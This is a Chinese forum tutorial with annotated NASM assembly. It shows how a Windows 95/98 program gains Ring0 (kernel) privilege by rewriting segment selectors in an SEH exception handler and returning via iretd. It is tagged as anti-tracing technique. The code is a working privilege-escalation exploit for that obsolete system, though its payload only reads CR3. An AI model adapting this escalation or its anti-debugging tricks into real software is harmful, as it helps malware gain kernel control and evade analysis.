怎样利用SEH技巧进入Ring0级(8千字),Ring0,SEH,反跟踪技术 2008年06月23日 星期一 下午 02:26 怎样利用SEH技巧进入Ring0级 【前言】 这份源码我学习到现在有一段时间了。其中的一些注释是我自己加上的。现在就作一份资料和大家交流吧。 注意几点情况:1、这种方法只能在Windows95/98下使用,如果在NT/2000下使用是不成功的。 ______________2、当段选择符CS=28、DS=30时,在Windows98下即为Ring0级时的选择符。 ______________3、CR3的内容和内存定址有关,只有在Ring0级才可以读出其内容,否则非法。所以这里通过读CR3的内容来验证是否进入了Ring0级。 ______________4、完整的源码我已经上传到主页的"源码学习"下。这里来"下载"。 ; 分析日期:2000-10-24 ; 此程序主要为SEH技术的一种应用,这里将详细的注释说明。这是我今天分析的第二个相关源程序 include "../inc/win32n.inc" extern _ExitProcess@4 extern _GetTickCount@0 extern _GetStdHandle@4 extern _MessageBeep@4 extern _WriteConsoleA@20 global _mainCRTStartup SEGMENT .text USE32 class=code _mainCRTStartup push dword STD_OUTPUT_HANDLE ; call _GetStdHandle@4 ;获取输出控制屏的句柄 mov [stdout],eax ;保存句柄 ;****************************************** ;* 以下这一段是按照SEH必要的方式形成链表 ;****************************************** xor ebx,ebx push dword eh ;压入自己Except Handle指针,即 eh 处 push dword [fs:ebx] ;压入当前[FS:0] mov [fs:ebx],esp ;形成链表形式 pushfd ;入栈保存当前EFlags标志寄存器的内容 mov eax,esp ;保存当前堆栈指针到 eax ;****************************************** ;* 这里将产生断点中断,从而进入异常处理程序 ;****************************************** int3 ;****************************************** ;* 这里是从异常处理程序中返回后来到的地址 ;****************************************** mov ebx,cr3 ;以后将会显示ebx的内容,即显示 cr3 的内容 ;************************************************************************************** ;* 以下是一种特殊方式的跳转。由于使用 push/iretd 来进行跳转,注意不是 push/retn。 ;* 所以,在堆栈中要把各个寄存器的内容入栈,这是因为当中断发生时,系统会自动把 ;* 这些寄存器的内容入栈,而在 iretd 返回时自动出栈。这就是 iretd 和 retn 的区别。 ;* 另外,由于在异常处理程序中进行了以下修改。所以刚返回时:ECX=CS,CS=28,EDX=SS,SS=30, ;* 所以,此时我们看到各寄存器的内容与此相同。这主要是一种演示,或者说是一种简单的应用。 ;************************************************************************************** push dword edx ; GS push dword edx ; FS push dword edx ; ES push dword edx ; DS push dword edx ; SS push eax ; ESP push dword [eax] ; EFLAGS push dword ecx ; CS push dword .wow ; EIP iretd .wow ;****************************************** ;* 显示 ebx 的内容 ;****************************************** popfd call printaddress ;****************************************** ;* 这一段将在SEH链表中清除自己的异常处理 ;****************************************** pop dword [fs:0] ;通过出栈的方式修改[FS:0]的内容 add esp,4 push dword MB_ICONASTERISK call _MessageBeep@4 ;鸣声提示 push dword 0 call _ExitProcess@4 ;退出程序 ; retn ;****************************************** ;* 这里是自己的异常处理程序开始 ;****************************************** eh push ebp mov ebp,esp push ebx ;入栈保存 push ecx ;入栈保存 ;****************************************** ;* 这一段为判断异常标志(ExceptionFlags)是否 ;* 为UNWIND_STACK。 ;****************************************** mov eax,[ebp 8] ;[EBP 8]=EXCEPTION_RECORD_ptr,即EAX为EXCEPTION_RECORD的指针 test dword [eax 4],6 ;[EAX 4]=EXCEPTION_RECORD_ptr->ExceptionFlags, ;即判断ExceptionFlags是否为UNWIND_STACK,此在SEH.inc中有定义 jz .cont ;是,则跳转 ;****************************************** ;* 显示 oi ;****************************************** push dword 0 push dword written push dword 2 push dword oi push dword [stdout] call _WriteConsoleA@20 mov eax,1 jmp .e .cont ;********************************************************* ;* 判断异常代码(ExceptionCode)是否为EXCEPTION_BREAKPOINT ;********************************************************* mov ebx,[ebp 8] ;[EBP 8]=EXCEPTION_RECORD_ptr,即EAX为EXCEPTION_RECORD的指针 mov eax,1 cmp dword [ebx],0x80000003 ;[EBX]=EXCEPTION_RECORD_ptr->ExceptionCode, ;即判断ExceptionCode是否为EXCEPTION_BREAKPOINT(断点标志) jne .e ;不是,则跳转,返回值EAX为1 ;********************************************************** ;* 修改xFrame_RECORD_ptr->cx_Ecx=xFrame_RECORD_ptr->cxSegCs ;********************************************************** mov eax,[ebp 0x10] ;[EBP 10]=xFrame_RECORD_ptr,即EAX为xFrame_RECORD的指针 movzx ecx,word [eax CONTEXT.cx_SegCs] mov [eax CONTEXT.cx_Ecx],ecx ;xFrame_RECORD_ptr->cx_Ecx=xFrame_RECORD_ptr->cxSegCs ;********************************************************** ;* 修改xFrame_RECORD_ptr->cx_SegCs=0x28 ;********************************************************** mov dword [eax CONTEXT.cx_SegCs],0x28 ;********************************************************** ;* 修改xFrame_RECORD_ptr->cx_Edx=xFrame_RECORD_ptr->cxSegSs ;********************************************************** movzx ecx, word [eax CONTEXT.cx_SegSs] mov [eax CONTEXT.cx_Edx],ecx ;********************************************************** ;* 修改xFrame_RECORD_ptr->cx_SegSs=0x30 ;********************************************************** mov dword [eax CONTEXT.cx_SegSs],0x30 ;********************************************************** ;* 修改xFrame_RECORD_ptr->cx_EFlags=0x0200 ;********************************************************** or dword [eax CONTEXT.cx_EFlags],0x0200 ;设置EFlags中的IF标志(中断允许标志)为1,即 CLI ;********************************************************* ;* 在控制屏上显示 ebx 的内容 ;********************************************************* mov ebx,0x12345678 call printaddress ;********************************************************* ;* EAX=0,即通知Kernel将继续执行 ;********************************************************* mov eax,0 .e pop ecx ;出栈恢复 pop ebx ;出栈恢复 mov esp,ebp pop ebp retn ;返回 ;****************************************** ;* 这里是自己的异常处理程序结束处 ;****************************************** ;****************************************** ;* 转换ebx的内容为字符形式,并在屏幕上显示 ;* ebx为入口参数,代表一个地址 ;****************************************** printaddress push ecx ; just a lame routine to print out push edx ; a hex address, no explanations ;-) xor ecx,ecx .n rol ebx,4 mov dl,bl and dl,0x0F cmp dl,0x9 ja .abcdef add dl,’0’ jmp .a .abcdef add dl,’A’-0xA .a mov [ecx address],dl inc cl cmp cl,8 jne .n push dword 0 push dword written push dword 9 push dword address push dword [stdout] call _WriteConsoleA@20 pop edx pop ecx retn SEGMENT .data USE32 class=data stdout dd 0 onedot db ’.’ oi db ’!’,0x0A written dd 0 address db 0,1,2,3,4,5,6,7,0x0A -------------------------------------------------------------------------------- 《加密及解密技术交流站》由 ljtt 制作 版权所有 ©2000 -2001 All Rights Reserved 转载本站所有文章请注明出处,尊重作者的劳动也是尊重你自己。让我们一同撑起绿色的天空! |
|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )
GMT+8, 2024-9-29 23:31 , Processed in 0.184979 second(s), 12 queries , Gzip On, MemCache On.
Powered by Discuz! X3.5
© 2001-2023 Discuz! Team.